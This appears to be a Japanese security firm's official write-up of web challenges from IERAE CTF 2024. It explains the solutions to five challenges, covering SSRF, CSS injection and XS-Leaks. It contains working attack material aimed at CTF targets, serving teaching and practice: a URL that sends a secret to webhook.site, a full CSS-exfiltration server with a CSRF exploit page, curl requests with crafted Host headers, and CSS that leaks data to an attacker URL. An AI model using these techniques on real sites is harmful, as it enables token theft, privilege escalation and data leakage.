セキュリティブログ

【web】 IERAE CTF 2024 公式 Writeup

【web】 IERAE CTF 2024 公式 Writeup

更新日:2024.10.08

本記事では2024年9月21日~22日に開催された、IERAE CTF 2024のweb問題の解法を解説します。

他のジャンルの解説は以下の記事をご覧ください:

Futari APIs (warmup)

作問者: tyage
正解チーム数: 81

概要

frontendとuser-searchの2つのDeno製サービスがあり、frontendは外部からアクセス可能となっています。

async function searchUser(user: string, userSearchAPI: string) {
  const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);
  return await fetch(uri);
}

async function handler(req: Request): Promise<Response> {
  const url = new URL(req.url);
  switch (url.pathname) {
    case "/search": {
      const user = url.searchParams.get("user") || "";
      return await searchUser(user, USER_SEARCH_API);
    }
    default:
      return new Response("Not found.");
  }
}

Deno.serve({ port: PORT, handler });

http://[frontend]/search?user=peroro にアクセスすると、frontendからuser-searchサービスの http://[user-search]/peroro?apiKey=[FLAG] にHTTPリクエストが送信されて、peroroという名前のユーザが検索されます。

user-searchサービスにアクセスするためにはURLクエリ「apiKey」に正しいAPIキーが必要であり、このAPIキーが今回取得すべきFLAGになっています。

脆弱性

普通にアクセスすると http://[user-search]/[user]?apiKey=[FLAG] にHTTPリクエストが送信されるものの、仮にURLのホスト部分 [user-search] を書き換えることができればFLAGを別のサーバに送信することが可能です。

URLの構築には new URL(url, base) が使われており、ベースURLに http://[user-search] が指定されているので一見するとホスト部分の書き換えは不可能に見えます。
しかし実際にはベースURLが指定されていたとしても、第一引数のURLが絶対URLであればベースURLは無視されます。

  const uri = new URL(`${user}?apiKey=${FLAG}`, userSearchAPI);

絶対または相対 URL を表す文字列または文字列化のあるその他のオブジェクト、例えば <a><area> 要素です。 url が相対 URL である場合、base は必須であり、ベース URL として使用されます。 url が絶対 URL である場合、指定された base は無視されます。

ref: https://developer.mozilla.org/ja/docs/Web/API/URL/URL

解法

検索対象のユーザ名を https://webhook.site/... にすると https://webhook.site/...?apiKey=[FLAG] にリクエストが送信されて、FLAGを得ることができます。
(webhook.siteは受信したリクエストを確認できるサービス)

例: http://35.194.136.248:3000/search?user=https://webhook.site/...

webhook.siteにFLAGが送信される

別の解き方として、ユーザ名をdata URL scheme data:, にすればURLが data:,?apiKey=[FLAG] となり、HTTPレスポンスにFLAGが表示されます。
HTTPリクエストを受信できるサーバを用意できない場合でも解くことが可能です。

Great Management Opener (easy)

作問者: mage, sasaki
正解チーム数: 11

概要

基本的な認証認可を備えたサービスです。
管理者ユーザであれば、FLAGにアクセスすることが可能です。

def admin_required(f):
    @wraps(f)
    def _wrapper(*args, **keywords):
        if not current_user.is_admin:
            return redirect(url_for('home', message='Required is_admin=True'))
        v = f(*args, **keywords)
        return v
    return _wrapper
...
@app.route('/admin/flag')
@login_required
@admin_required
def admin_flag():
    return app.config['FLAG']

また、管理機能として、指定したusernameを管理者ユーザに変更する機能が存在します。
web/app/app/routes.py

...
@app.route('/admin', methods=['GET', 'POST'])
@login_required
@admin_required
def admin():
    if request.method == 'POST':
        username = request.form.get('username')
        csrf_token = request.form.get('csrf_token')

        if not username or len(username) < 8 or len(username) > 20:
            return redirect(url_for('admin', message='Username should be between 8 and 20 characters long'))

        if not csrf_token or csrf_token != session.get('csrf_token'):
            return redirect(url_for('admin', message='Invalid csrf_token'))

        user = User.query.filter_by(username=username).first()
        if not user:
            return redirect(url_for('admin', message='Not found username'))

        user.is_admin = True
        db.session.commit()
        return redirect(url_for('admin', message='Success make admin!'))
    return render_template('admin.jinja2', csrf_token=session.get('csrf_token'))
...

管理者Botは所定の手順でログインを行った後、指定した任意のURLにアクセスします。

脆弱性

テンプレートにFlaskのJinja2を用いていますが、自動エスケープは特定の拡張子のテンプレートファイルにのみ有効なため、拡張子「jinja2」であるテンプレートファイルは自動エスケープが行われず、「message」パラメータ等でHTMLインジェクションが可能です。
https://msiz07-flask-docs-ja.readthedocs.io/ja/latest/templating.html

web/app/app/templates/base.jinja2

...
        {% if request.args.get('message') %}
            <div class="alert alert-secondary mt-3">
                {{ request.args.get('message')|truncate(64, True) }}
            </div>
        {% endif %}
...

また、CSPにより外部とインラインのJavaScript実行は制限され、CSSは許容されている状態です。
web/app/app/__init__.py

...
@app.after_request
def add_security_headers(response):
    response.headers['X-Frame-Options'] = 'DENY'
    response.headers['Content-Security-Policy'] = (
        "script-src 'self'; "
        "style-src * 'unsafe-inline'; "
    )
    return response
...

よって、管理者Botに対してCSSインジェクションを行うことが可能です。

解法

指定したusernameを管理者ユーザに変更する機能はCSRF対策トークンの検証処理が行われていますが、CSSインジェクションによりCSRF対策トークンを窃取し、CSRFを行えば管理者ユーザに昇格することが可能です。

CSRF対策トークンは認証毎に発行されるため、管理者Botに対して1回のCSSインジェクションでCSRF対策トークンを窃取し、CSRFまで行う必要があります。
web/app/app/routes.py

...
@app.route('/login', methods=['GET', 'POST'])
def login():
    if current_user.is_authenticated:
        return redirect(url_for('home'))

    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')

        if not username or len(username) < 8 or len(username) > 20:
            return redirect(url_for('login', message='Username should be between 8 and 20 characters long'))
        if not password or len(password) < 8:
            return redirect(url_for('login', message='Password should be least 8 characters long'))

        user = User.query.filter_by(username=username).first()
        if not user or not bcrypt.check_password_hash(user.password, password):
            return redirect(url_for('login', message='Failed login'))

        login_user(user)
        session["csrf_token"] = os.urandom(16).hex()

...

ただし、それを行うには2つの問題点があります。

1つ目は、当該要素はinput要素のhidden属性に展開されており、background等のCSSプロパティは適用されません。

web/app/app/templates/admin.jinja2

{% extends "base.jinja2" %}
{% block content %}
    <h2>Admin</h2>
    <h3>Make a User Admin</h3>
    <form method="POST" action="{{ url_for('admin') }}" class="row g-3">
        <input type="hidden" name="csrf_token" value="{{ csrf_token }}">
        <div class="col-auto">
            <input type="text" name="username" id="username" class="form-control" placeholder="Username" required>
        </div>
        <div class="col-auto">
            <button type="submit" class="btn btn-primary">Make</button>
        </div>
    </form>
{% endblock %}

これは、CSSセレクターに後続兄弟結合子を用いることで、hidden属性の要素を含みつつ、CSSプロパティを適用できる要素を指し示すことが可能です。これについて詳しく解説している記事もありますので、ぜひご参照ください。
参考:https://www.mbsd.jp/research/20230403/css-injection/

2つ目は、CSSインジェクションの発火ポイントは、CSRF対策トークンが展開されている要素よりも先に存在しているため、読み込み順序の問題で初回の@importで読み込んだCSS上で、@importを行ってもその読み込みの後に1文字目のリークが発生するため、一般的なCSS Recursive Importは困難です。

これは、ページ全体を反復して再読み込みさせることで、 1文字目リーク -> 再読み込み -> 初回の@importでリーク文字を含むCSS Payloadを応答 -> 2文字目リーク > 再読み込み... を繰り返し、CSS Recursive Importと同様なことが実現可能です。

ただし、X-Frame-Options: DENY であるため、iframe要素で対象ページを埋め込み、反復して再読み込みさせることはできません。そこで、セキュリティヘッダやオリジンの影響を受けない window.open 等の方法で対象ページを開かせ、一定時間待機した後に再度開かせるような処理を行うことで解決できます。
なお、通常はユーザ操作無しで window.open を行うとポップアップブロックにより阻まれますが、Headlessブラウザではブロックされない仕様になっています。

最終的なexploitは次の通りです。

onsen.py

import os, threading, string
from flask import *
import time

EXPLOIT_HOST = 'web'
EXPLOIT_KEY = 'x'

app = Flask(__name__)
app.data = {}
app.api_secret = os.urandom(16).hex()
app.css_template = '''
{% autoescape false %}
{% for c in data['chars'] %}
{{ data['selector'].replace('{leaked}', data['leaked'] + c) }}{{ ":first-child"*index }} {
    background: url("{{ url_for('leak', key=key, leaked=data['leaked'] + c, _external=True) }}");
}
{% endfor %}
{% endautoescape %}
'''

@app.route('/<key>/leak/<leaked>')
def leak(key, leaked):
    if key not in app.data:
        return '', 404
    app.data[key]['leaked'] = leaked
    app.data[key]['event'].set()
    app.data[key]['event'].clear()
    return '', 200, {'Content-Type': 'image/gif'}

@app.route('/<key>/<int:index>/stage2.css')
def stage2(key, index):
    if key not in app.data:
        return '', 404
    if app.data[key]['event'].wait(timeout=5) == False:
        app.data[key]['run'] = False
        return ''
    return (
        render_template_string(app.css_template, key=key, index=index, data=app.data[key]),
        200, {'Content-Type': 'text/css'}
    )

@app.route('/<key>/stage1.css')
@app.route('/<key>')
def stage1(key):
    if key not in app.data:
        return '', 404
    app.data[key]['event'] = threading.Event()
    app.data[key]['run'] = True
    return (
        render_template_string(app.css_template, key=key, index=0, data=app.data[key]),
        200, {'Content-Type': 'text/css'}
    )

@app.route('/<api_secret>/set', methods=['POST'])
def api_set(api_secret):
    if api_secret != app.api_secret:
        return '', 404
    chars = request.form.get('c', string.ascii_letters + string.digits)
    selector = request.form.get('s', 'input[value^="{leaked}"]')
    key = request.form.get('key', os.urandom(16).hex())
    app.data[key] = {'chars': chars, 'selector': selector, 'run': False, 'leaked': ''}
    return jsonify({
        'key': key,
        'payload': '<style>@import\'{}\';</style>'.format(url_for('stage1', key=key, _external=True))
    })

@app.route('/<api_secret>/get/<key>')
def api_get(api_secret, key):
    if api_secret != app.api_secret:
        return '', 404
    if key not in app.data:
        return jsonify({'message': 'not found key "{}"'.format(key)})
    return jsonify({'run': app.data[key]['run'], 'leaked': app.data[key]['leaked']})

@app.route('/<api_secret>/gets')
def api_gets(api_secret):
    if api_secret != app.api_secret:
        return '', 404
    return jsonify(list(app.data.keys()))

# for great management opener
@app.route('/exploit')
def exploit():
    chars = '0123456789abcdef'
    selector = 'input[name="csrf_token"][value^="{leaked}"] ~ *'
    app.data[EXPLOIT_KEY] = {'chars': chars, 'selector': selector, 'run': False, 'leaked': ''}
    return render_template('exploit.html', key=EXPLOIT_KEY, host=EXPLOIT_HOST)

@app.route('/<key>/leaked')
def leaked(key):
    return app.data[key]['leaked']

if __name__ == '__main__':
    print('[+] api_sercet: {}'.format(app.api_secret))
    app.run(threaded=True, host='0.0.0.0', port=31337, debug=True)

templates/exploit.html

<form action="http://{{ host }}:5000/admin" method="post">
    <input name="username" value="[管理者権限にするusername]">
    <input name="csrf_token" value="">
</form>
<script>
    function stage1() {
        target = "http://{{ host }}:5000/admin?message=<style>@import'[onsen.pyのorigin]/{{ key }}'</style>"
        target_window = window.open(target, "_blank", "location=yes")
        counter = 1
        interval_id = setInterval(function () {
            target_window.location = target
            counter += 1
            if (counter > 32) {
                clearInterval(interval_id)
                stage2()
            }
        }, 200)
    }

    async function stage2() {
        response = await fetch('/{{ key }}/leaked')
        leaked = await response.text()
        console.log(leaked)
        document.forms[0].csrf_token.value = leaked
        document.forms[0].submit()
    }

    stage1()
</script>

このように、CSSインジェクション支援ツールを活用することで、簡単にexploitを作成することが可能です。
https://github.com/m---/onsen
※現在、リポジトリに上がっているコードは依存のFlaskバージョンが古いため、手直しが必要な状態ですが、近日中に更新します:bow:

BTW:反復再読込手法の他に、トークンを3文字ずづリークさせ、それを組み立てて復元する手法もあります。他の手法も考えてみましょう!
https://www.sonarsource.com/blog/code-vulnerabilities-leak-emails-in-proton-mail/#leaking-a-blob-url

babewaf (easy)

作問者: y0d3n
正解チーム数: 11

概要

最初に断っておくと、babywafのオマージュといいながら本質部分はまったく異なっており、共通点はフロント部分程度です。
proxyとbackendの二つのサービスがあり、backend側にFLAGがあります。

backend/main.ts

import { Hono } from 'hono'
import { serveStatic } from 'hono/deno'

const app = new Hono()
const FLAG = Deno.env.get("FLAG");

app.get('/', serveStatic({ path: './index.html' }))

app.get('/givemeflag', (c) => {
  return c.text(FLAG)
})

export default app

/givemeflag というパスにGETリクエストを送信すればFLAGが得れることがわかります。
ただ、その前段にproxyが挟まる形になっています。

proxy/index.js

app.use((req, res, next) => {
  if (req.url.indexOf("%") !== -1) {
    res.send("no hack :)");
  }
  if (req.url.indexOf("flag") !== -1) {
    res.send("🚩");
  }
  next();
});

URL中に % が含まれる場合は「no hack :)」、 flag が含まれる場合は「🚩」としてレスポンスを送信し、どちらでもない場合にのみbackendにリクエストが送信されます。

脆弱性

proxyとbackendの挙動の違いを利用して、以下の両方を満たすことを目指します。

  • proxyにおける req.url 中に flag という文字が含まれない
  • backendが解釈するURLが /givemeflag となっている

ただ、こういった問題の常套手段であるURLエンコードは使えません。大文字に変えてみたり、unicode等を利用してみてもアクセスはできません。
(パスの書き換えやRequest Smugglingを頑張って沼ってくれていたら、作問者の想定通りです)

backendで利用されているhonoは、リクエストからPathを取得する際に request.url を参照します。

参考:https://github.com/honojs/hono/blob/dfbd717263ab8ecd7bf495fbd2c32d8c79854284/src/utils/url.ts#L101

request.urlscheme + hostname + path という風に組み立てられています。

参考:https://github.com/denoland/deno/blob/4b022103a14916de1c3bc539d123273750138915/ext/http/00_serve.ts#L287

ここで、以下のように / が含まれるHostヘッダを送信するとレスポンスが「404 Not Found」となります。

$ curl localhost:3000 -H "Host: a/"
404 Not Found

この時、それぞれデバッグしてみると以下のような状況になっていることがわかります。

  • proxyにおける req.url/
    • flag の文字が含まれないので、backendにリクエストを送信
  • backendにおける request.urlhttp://a//
    • // のルーティングが存在しないので「404 Not Found」を返す

これを応用して /givemeflag にリクエストを送信するようなHTTPリクエストを考えます。

解法

GET / HTTP/1.1
Host: a/givemeflag?

上記のHTTPリクエストを送信すると以下の条件が達成され、FLAGを得ることができます。

  • proxyにおける req.url/
  • backendにおける request.urlhttp://a/givemeflag?/
$ curl localhost:3000 -H "Host: a/givemeflag?"
IERAE{dummy}

Smooth Note (medium)

作問者: tyage
正解チーム数: 3

概要

CSSを自由に設定可能なノートを作れるアプリです。

また、ノートの検索機能もあります。

フラグは管理者が作ったノート「SECRET NOTE」の中に存在するが、ノートはユーザごとに隔離されているので管理者以外はそのノートを見ることができません。

Content-Security-Policyは default-src 'none'; style-src 'self' 'unsafe-inline'; img-src * となっておりCSSと画像を利用することはできるがJavaScriptは動作しません。

作成したノート上では好きなCSSを使って情報をリークできるものの、検索画面や別のノートには影響しないため、一見するとCSSによるXS-Leaksは不可能なように見えます。

脆弱性

自明な脆弱性としてCSRFがあります。
管理者のブラウザから /create にPOSTリクエストを送信すれば、管理者のブラウザ上で好きなCSSを設定したノートを開くことができます。
ただしCSSだけで別のノートの内容を読み取ることは不可能です。

また、脆弱性ではないものの、ノートがあるときにDevToolsを開くと Unexpected duplicate view-transition-name: site-title というエラーが表示されています。

このアプリにはView Transitionsという仕組みが導入されており、これによって画面遷移が滑らか(Smooth)になっています。
(CSS @view-transition { navigation: auto; } によってページ遷移時のアニメーションが有効になります。)
特に一覧画面でノートタイトルをクリックすると、クリックした部分が滑らか(Smooth)にノート画面のタイトルへと移動します。

これはMPA用のView Transitionsの新しい仕組みを利用して実現されており、遷移前/遷移後のページでそれぞれ同じ名前のCSS属性 view-transition-name が指定された要素がアニメーションの対象となります。

https://developer.chrome.com/blog/view-transitions-update-io24?hl=ja

#index-main {
  .notes {
    /* ノート一覧画面のノートタイトル */
    a&:hover {
      view-transition-name: note-title;
    }
  }
}

#note-main {
  /* 個別ノート画面のノートタイトル */
  .title {
    view-transition-name: note-title;
  }
}

実は本来は Smooth Note と書かれたサイトタイトル部分も同様に移動するはずなのですが正常に動作していません。
サイト一覧画面ではヘッダーにあるサイトタイトルと同時に、ノートのタイトルも同じ title クラスを保持しており、view-transition-namesite-title となる要素が複数存在してしまっています。
仕組み上、同じ view-transition-name を持つ要素が複数存在してはいけないので Unexpected duplicate view-transition-name: site-title のエラーの原因になっていました。

#index-main {
  /* ノート一覧画面のサイトタイトルだけでなく、ノートタイトルにも適用される */
  .title {
    view-transition-name: site-title;
  }
}

#note-main {
  .site-title {
    /* 個別ノート画面のサイトタイトル */
    a {
      view-transition-name: site-title;
    }
  }
}

解法

@view-transition { navigation: auto; } が指定されているとき、正しく view-transition-name が設定されていれば遷移後にアニメーション用の::view-transition疑似要素が生成されます。

このためノート一覧画面から個別ノート画面に遷移した時に、遷移元画面で site-title が正常に設定されているかどうかを ::view-transition-new(site-title) セレクタでキャッチして攻撃者サーバにリークすることができます。

::view-transition-new(site-title) {
  animation-duration: 500s;
  background-image: url(http://ieraectf/leaked);
}

これによって IERAE{? と検索して、ヒットするノートが存在するかしないかをリークすることが可能となります。

検索結果 view-transitio-name: site-title 個別ノート遷移後
ヒットせず 1つだけ存在(正常) ::view-transition-new セレクタからリーク
ヒット 複数存在(異常) ::view-transition-new セレクタからリークしない

次のような手順で徐々にFLAGを入手していけばOKです。

  1. http://web:3000/?search=IERAE{A をwindow.open
  2. ::view-transition-new(site-title) の有無をリークするCSSを含むノートをCSRFで投稿する
  3. 画像のURLにリクエストが飛んで来なければそれがFLAGなので記録
  4. FLAGが見つかるまで IERAE{B, IERAE{C, ... と繰り返す

最終的なexploitはこちら

https://gist.github.com/tyage/0810162ee20296aa63fa84cde3927851

Leak! Leak! Leak! (hard)

作問者: Ark
正解チーム数: 3

概要

CTFでは一般的なノートアプリのWebサービスが動いています。
各ユーザはノートの作成・削除・一覧表示が可能です。

また、検索機能が存在し、パラメータ「query」の文字列にヒットした箇所は<span>要素で囲まれて、ハイライトされるような実装になっています。

app.get("/", (req, reply) => {
  const { query } = req.query;
  const notes = req.user
    .getNotes()
    .map((note) =>
      query ? note.replaceAll(query, '<span class="highlight">$&</span>') : note
    );
  reply.view("index.ejs", { nonce: req.nonce, notes });
});

フラグはbotが投稿したノートに記載しているので、どうにかしてこのノートをリークさせるのがこの問題の目標となります。

脆弱性

CSRFによって、botのセッション上でノートの作成や削除が可能です。また、自明なHTML injection脆弱性が存在します。

ただし、以下のCSPが設定されています:

Content-Security-Policy: default-src 'none'; style-src 'nonce-${req.nonce}'

nonce leakのようなことは問題構成上できそうになく、実質的にCSPで制限可能なすべてのリソース読み込みが不可能な状態になっています。

※ なお、本問題ではChromium上でbotが動作していますが、Firefoxの場合は簡単にフラグを取得する方法が存在します。興味ある方はトライしてみてください。

解法

まず、以下のようなノートをCSRFで作成することを考えます。

<div id="

すると、特定の文字列で検索したときに、その文字列がフラグのprefixかどうかで以下の分岐が発生します:

  • prefixである場合: </li>\n<li><span class=idにもつ要素が存在する。
  • prefixでない場合: </li>\n<li><span class=idにもつ要素が存在しない。

つまり、特定のIDが存在するかどうかをcross-siteから判定することができたらXS-Leakに用いるオラクルを構成することが可能なことがわかります。

IDの存在判定を行う有名な手法として、①URLのフラグメント部に特定のIDを指定しつつ、②lazy loadingを組み合わせる方法があります。ただし、今回の問題設定ではどちらも困難です:

  • ①が困難な理由: CSSによって html { position: fixed; } が記述されており、ページがスクロールされません。そのため、フラグメント部によるIDの検索でスクロールが発生しません。
  • ②が困難な理由: lazy loadingが対応してる要素は<iframe><img>ですが、どちらのリソース読み込みもCSPによって防がれます。

これら2点をどうやって回避できるかがこの問題の重要なポイントです。詳細はソルバを参照してもらいたいのですが、端的に説明すると次の方法で回避が可能です:

  • ①の問題を回避する方法: 属性「hidden="until-found"」を活用します。
  • ②の問題を回避する方法: 大量のlazy loadingなiframeを設置し、CSP errorの大量発生の有無をcross-siteからtime-basedで判定します。

どちらも既出テクニックではないと思われるため、がんばって回避手法を思いつく必要があります。

最終的なソルバは以下のとおりです:

また、参加者writeupによれば、iframename属性を用いて特定のnameが存在するかどうかをcross-siteから判定する方法で解く方法もあったようです。

セキュリティ診断のことなら
お気軽にご相談ください
セキュリティ診断で発見された脆弱性と、具体的な内容・再現方法・リスク・対策方法を報告したレポートのサンプルをご覧いただけます。

関連記事

経験豊富なエンジニアが
セキュリティの不安を解消します

Webサービスやアプリにおけるセキュリティ上の問題点を解消し、
収益の最大化を実現する相談役としてぜひお気軽にご連絡ください。

疑問点やお見積もり依頼はこちらから

お見積もり・お問い合わせ

セキュリティ診断サービスについてのご紹介

資料ダウンロード